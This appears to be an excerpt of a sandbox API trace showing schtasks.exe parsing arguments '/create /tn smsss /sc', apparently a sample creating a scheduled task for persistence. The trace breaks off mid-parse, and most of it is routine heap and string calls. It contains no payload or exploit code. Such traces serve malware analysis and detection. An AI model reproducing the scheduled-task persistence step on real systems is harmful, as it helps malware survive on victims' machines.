[0075.431] VerifyVersionInfoW (in: lpVersionInformation=0x29f380, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x29f380) returned 1 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39bad0 [0075.431] lstrlenW (lpString="") returned 0 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x2) returned 0x39baf0 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x3959f0 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39bb10 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395a20 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395a50 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395a80 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395ab0 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39bb30 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395ae0 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395b10 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395b40 [0075.431] GetProcessHeap () returned 0x380000 [0075.431] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395b70 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39bb50 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395ba0 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395bd0 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395c00 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395c30 [0075.432] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.432] SetLastError (dwErrCode=0x0) [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395c60 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395c90 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395cc0 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395cf0 [0075.432] GetProcessHeap () returned 0x380000 [0075.432] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395d20 [0075.432] GetProcessHeap () returned 0x380000 [0075.433] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39bb70 [0075.433] _memicmp (_Buf1=0x39bb70, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.433] GetProcessHeap () returned 0x380000 [0075.433] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x208) returned 0x39bd10 [0075.433] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x39bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0075.433] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0075.435] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0075.435] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0075.437] GetProcessHeap () returned 0x380000 [0075.437] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x74e) returned 0x39c2e0 [0075.437] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0075.437] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x39c2e0 | out: lpData=0x39c2e0) returned 1 [0075.437] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0075.437] VerQueryValueW (in: pBlock=0x39c2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29f468, puLen=0x29f4d0 | out: lplpBuffer=0x29f468*=0x39c67c, puLen=0x29f4d0) returned 1 [0075.440] _memicmp (_Buf1=0x39bb70, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.440] _vsnwprintf (in: _Buffer=0x39bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29f448 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0075.440] VerQueryValueW (in: pBlock=0x39c2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29f4d8, puLen=0x29f4c8 | out: lplpBuffer=0x29f4d8*=0x39c4a8, puLen=0x29f4c8) returned 1 [0075.440] lstrlenW (lpString="schtasks.exe") returned 12 [0075.440] lstrlenW (lpString="schtasks.exe") returned 12 [0075.440] lstrlenW (lpString=".EXE") returned 4 [0075.440] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0075.442] lstrlenW (lpString="schtasks.exe") returned 12 [0075.442] lstrlenW (lpString=".EXE") returned 4 [0075.442] _memicmp (_Buf1=0x39bb70, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.442] lstrlenW (lpString="schtasks") returned 8 [0075.442] GetProcessHeap () returned 0x380000 [0075.442] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x395e10 [0075.442] GetProcessHeap () returned 0x380000 [0075.442] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cbf0 [0075.442] GetProcessHeap () returned 0x380000 [0075.442] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cc20 [0075.442] GetProcessHeap () returned 0x380000 [0075.442] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cc50 [0075.442] GetProcessHeap () returned 0x380000 [0075.442] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39bb90 [0075.443] _memicmp (_Buf1=0x39bb90, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.443] GetProcessHeap () returned 0x380000 [0075.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xa0) returned 0x39c110 [0075.443] GetProcessHeap () returned 0x380000 [0075.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cc80 [0075.443] GetProcessHeap () returned 0x380000 [0075.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39ccb0 [0075.443] GetProcessHeap () returned 0x380000 [0075.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cce0 [0075.443] GetProcessHeap () returned 0x380000 [0075.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39bbb0 [0075.443] _memicmp (_Buf1=0x39bbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.443] GetProcessHeap () returned 0x380000 [0075.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x200) returned 0x39d3c0 [0075.443] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x39d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0075.443] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0075.443] GetProcessHeap () returned 0x380000 [0075.443] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x30) returned 0x397b80 [0075.443] _vsnwprintf (in: _Buffer=0x39c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29f448 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0075.444] GetProcessHeap () returned 0x380000 [0075.444] GetProcessHeap () returned 0x380000 [0075.444] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c2e0) returned 1 [0075.444] GetProcessHeap () returned 0x380000 [0075.444] RtlSizeHeap (HeapHandle=0x380000, Flags=0x0, MemoryPointer=0x39c2e0) returned 0x74e [0075.445] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39c2e0 | out: hHeap=0x380000) returned 1 [0075.445] SetLastError (dwErrCode=0x0) [0075.445] GetThreadLocale () returned 0x409 [0075.445] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.445] lstrlenW (lpString="?") returned 1 [0075.445] GetThreadLocale () returned 0x409 [0075.445] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.445] lstrlenW (lpString="create") returned 6 [0075.445] GetThreadLocale () returned 0x409 [0075.445] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.446] lstrlenW (lpString="delete") returned 6 [0075.446] GetThreadLocale () returned 0x409 [0075.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.446] lstrlenW (lpString="query") returned 5 [0075.446] GetThreadLocale () returned 0x409 [0075.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.446] lstrlenW (lpString="change") returned 6 [0075.446] GetThreadLocale () returned 0x409 [0075.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.446] lstrlenW (lpString="run") returned 3 [0075.446] GetThreadLocale () returned 0x409 [0075.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.446] lstrlenW (lpString="end") returned 3 [0075.446] GetThreadLocale () returned 0x409 [0075.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.446] lstrlenW (lpString="showsid") returned 7 [0075.446] GetThreadLocale () returned 0x409 [0075.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.446] SetLastError (dwErrCode=0x0) [0075.446] SetLastError (dwErrCode=0x0) [0075.446] lstrlenW (lpString="/create") returned 7 [0075.446] lstrlenW (lpString="-/") returned 2 [0075.446] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.446] lstrlenW (lpString="?") returned 1 [0075.446] lstrlenW (lpString="?") returned 1 [0075.446] GetProcessHeap () returned 0x380000 [0075.446] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39c1c0 [0075.447] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.447] GetProcessHeap () returned 0x380000 [0075.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xa) returned 0x39c2e0 [0075.447] lstrlenW (lpString="create") returned 6 [0075.447] GetProcessHeap () returned 0x380000 [0075.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39c300 [0075.447] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.447] GetProcessHeap () returned 0x380000 [0075.447] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x14) returned 0x39c320 [0075.447] _vsnwprintf (in: _Buffer=0x39c2e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|?|") returned 3 [0075.447] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.447] lstrlenW (lpString="|?|") returned 3 [0075.447] lstrlenW (lpString="|create|") returned 8 [0075.447] SetLastError (dwErrCode=0x490) [0075.447] lstrlenW (lpString="create") returned 6 [0075.447] lstrlenW (lpString="create") returned 6 [0075.447] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.447] GetProcessHeap () returned 0x380000 [0075.447] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c2e0) returned 1 [0075.447] GetProcessHeap () returned 0x380000 [0075.447] RtlReAllocateHeap (Heap=0x380000, Flags=0xc, Ptr=0x39c2e0, Size=0x14) returned 0x39c340 [0075.447] lstrlenW (lpString="create") returned 6 [0075.447] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.447] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.448] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.448] lstrlenW (lpString="|create|") returned 8 [0075.448] lstrlenW (lpString="|create|") returned 8 [0075.448] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0075.448] SetLastError (dwErrCode=0x0) [0075.448] SetLastError (dwErrCode=0x0) [0075.448] SetLastError (dwErrCode=0x0) [0075.448] lstrlenW (lpString="/tn") returned 3 [0075.448] lstrlenW (lpString="-/") returned 2 [0075.448] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.448] lstrlenW (lpString="?") returned 1 [0075.448] lstrlenW (lpString="?") returned 1 [0075.448] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.448] lstrlenW (lpString="tn") returned 2 [0075.448] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.448] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|?|") returned 3 [0075.448] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tn|") returned 4 [0075.448] lstrlenW (lpString="|?|") returned 3 [0075.448] lstrlenW (lpString="|tn|") returned 4 [0075.448] SetLastError (dwErrCode=0x490) [0075.448] lstrlenW (lpString="create") returned 6 [0075.448] lstrlenW (lpString="create") returned 6 [0075.448] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.448] lstrlenW (lpString="tn") returned 2 [0075.448] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.449] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.449] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tn|") returned 4 [0075.449] lstrlenW (lpString="|create|") returned 8 [0075.449] lstrlenW (lpString="|tn|") returned 4 [0075.449] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0075.449] SetLastError (dwErrCode=0x490) [0075.449] lstrlenW (lpString="delete") returned 6 [0075.449] lstrlenW (lpString="delete") returned 6 [0075.449] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.449] lstrlenW (lpString="tn") returned 2 [0075.449] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.449] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|delete|") returned 8 [0075.449] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tn|") returned 4 [0075.449] lstrlenW (lpString="|delete|") returned 8 [0075.449] lstrlenW (lpString="|tn|") returned 4 [0075.449] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0075.449] SetLastError (dwErrCode=0x490) [0075.449] lstrlenW (lpString="query") returned 5 [0075.449] lstrlenW (lpString="query") returned 5 [0075.449] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.449] lstrlenW (lpString="tn") returned 2 [0075.449] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.449] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|query|") returned 7 [0075.449] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tn|") returned 4 [0075.450] lstrlenW (lpString="|query|") returned 7 [0075.450] lstrlenW (lpString="|tn|") returned 4 [0075.450] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0075.450] SetLastError (dwErrCode=0x490) [0075.450] lstrlenW (lpString="change") returned 6 [0075.450] lstrlenW (lpString="change") returned 6 [0075.450] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.450] lstrlenW (lpString="tn") returned 2 [0075.450] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.450] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|change|") returned 8 [0075.450] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tn|") returned 4 [0075.450] lstrlenW (lpString="|change|") returned 8 [0075.450] lstrlenW (lpString="|tn|") returned 4 [0075.450] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0075.450] SetLastError (dwErrCode=0x490) [0075.450] lstrlenW (lpString="run") returned 3 [0075.450] lstrlenW (lpString="run") returned 3 [0075.450] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.450] lstrlenW (lpString="tn") returned 2 [0075.450] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.450] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|run|") returned 5 [0075.450] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tn|") returned 4 [0075.450] lstrlenW (lpString="|run|") returned 5 [0075.450] lstrlenW (lpString="|tn|") returned 4 [0075.450] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0075.450] SetLastError (dwErrCode=0x490) [0075.450] lstrlenW (lpString="end") returned 3 [0075.450] lstrlenW (lpString="end") returned 3 [0075.450] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.450] lstrlenW (lpString="tn") returned 2 [0075.450] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.451] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|end|") returned 5 [0075.451] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tn|") returned 4 [0075.451] lstrlenW (lpString="|end|") returned 5 [0075.451] lstrlenW (lpString="|tn|") returned 4 [0075.451] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0075.451] SetLastError (dwErrCode=0x490) [0075.451] lstrlenW (lpString="showsid") returned 7 [0075.451] lstrlenW (lpString="showsid") returned 7 [0075.451] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.451] GetProcessHeap () returned 0x380000 [0075.451] HeapValidate (hHeap=0x380000, dwFlags=0x0, lpMem=0x39c340) returned 1 [0075.451] GetProcessHeap () returned 0x380000 [0075.451] RtlReAllocateHeap (Heap=0x380000, Flags=0xc, Ptr=0x39c340, Size=0x16) returned 0x39c340 [0075.451] lstrlenW (lpString="tn") returned 2 [0075.451] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.451] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|showsid|") returned 9 [0075.451] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|tn|") returned 4 [0075.451] lstrlenW (lpString="|showsid|") returned 9 [0075.451] lstrlenW (lpString="|tn|") returned 4 [0075.451] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0075.451] SetLastError (dwErrCode=0x490) [0075.451] SetLastError (dwErrCode=0x490) [0075.451] SetLastError (dwErrCode=0x0) [0075.451] lstrlenW (lpString="/tn") returned 3 [0075.451] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0075.451] SetLastError (dwErrCode=0x490) [0075.451] SetLastError (dwErrCode=0x0) [0075.451] lstrlenW (lpString="/tn") returned 3 [0075.451] GetProcessHeap () returned 0x380000 [0075.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x8) returned 0x39c2e0 [0075.452] GetProcessHeap () returned 0x380000 [0075.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cd10 [0075.452] SetLastError (dwErrCode=0x0) [0075.452] SetLastError (dwErrCode=0x0) [0075.452] lstrlenW (lpString="smsss") returned 5 [0075.452] lstrlenW (lpString="-/") returned 2 [0075.452] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0075.452] SetLastError (dwErrCode=0x490) [0075.452] SetLastError (dwErrCode=0x490) [0075.452] SetLastError (dwErrCode=0x0) [0075.452] lstrlenW (lpString="smsss") returned 5 [0075.452] StrChrIW (lpStart="smsss", wMatch=0x3a) returned 0x0 [0075.452] SetLastError (dwErrCode=0x490) [0075.452] SetLastError (dwErrCode=0x0) [0075.452] lstrlenW (lpString="smsss") returned 5 [0075.452] GetProcessHeap () returned 0x380000 [0075.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xc) returned 0x39c370 [0075.452] GetProcessHeap () returned 0x380000 [0075.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x20) returned 0x39cd40 [0075.452] SetLastError (dwErrCode=0x0) [0075.452] SetLastError (dwErrCode=0x0) [0075.452] lstrlenW (lpString="/sc") returned 3 [0075.452] lstrlenW (lpString="-/") returned 2 [0075.452] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.452] lstrlenW (lpString="?") returned 1 [0075.452] lstrlenW (lpString="?") returned 1 [0075.452] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.452] lstrlenW (lpString="sc") returned 2 [0075.452] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.452] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|?|") returned 3 [0075.452] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|sc|") returned 4 [0075.452] lstrlenW (lpString="|?|") returned 3 [0075.452] lstrlenW (lpString="|sc|") returned 4 [0075.453] SetLastError (dwErrCode=0x490) [0075.453] lstrlenW (lpString="create") returned 6 [0075.453] lstrlenW (lpString="create") returned 6 [0075.453] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.453] lstrlenW (lpString="sc") returned 2 [0075.453] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.453] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|create|") returned 8 [0075.453] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|sc|") returned 4 [0075.453] lstrlenW (lpString="|create|") returned 8 [0075.453] lstrlenW (lpString="|sc|") returned 4 [0075.453] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0075.453] SetLastError (dwErrCode=0x490) [0075.453] lstrlenW (lpString="delete") returned 6 [0075.453] lstrlenW (lpString="delete") returned 6 [0075.453] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.453] lstrlenW (lpString="sc") returned 2 [0075.453] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.453] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|delete|") returned 8 [0075.453] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|sc|") returned 4 [0075.453] lstrlenW (lpString="|delete|") returned 8 [0075.453] lstrlenW (lpString="|sc|") returned 4 [0075.453] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0075.453] SetLastError (dwErrCode=0x490) [0075.453] lstrlenW (lpString="query") returned 5 [0075.453] lstrlenW (lpString="query") returned 5 [0075.453] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.454] lstrlenW (lpString="sc") returned 2 [0075.454] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.454] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|query|") returned 7 [0075.454] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|sc|") returned 4 [0075.454] lstrlenW (lpString="|query|") returned 7 [0075.454] lstrlenW (lpString="|sc|") returned 4 [0075.454] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0075.454] SetLastError (dwErrCode=0x490) [0075.454] lstrlenW (lpString="change") returned 6 [0075.454] lstrlenW (lpString="change") returned 6 [0075.454] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.454] lstrlenW (lpString="sc") returned 2 [0075.454] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.454] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|change|") returned 8 [0075.454] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|sc|") returned 4 [0075.454] lstrlenW (lpString="|change|") returned 8 [0075.454] lstrlenW (lpString="|sc|") returned 4 [0075.454] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0075.454] SetLastError (dwErrCode=0x490) [0075.454] lstrlenW (lpString="run") returned 3 [0075.454] lstrlenW (lpString="run") returned 3 [0075.454] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.454] lstrlenW (lpString="sc") returned 2 [0075.455] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.455] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|run|") returned 5 [0075.455] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f458 | out: _Buffer="|sc|") returned 4 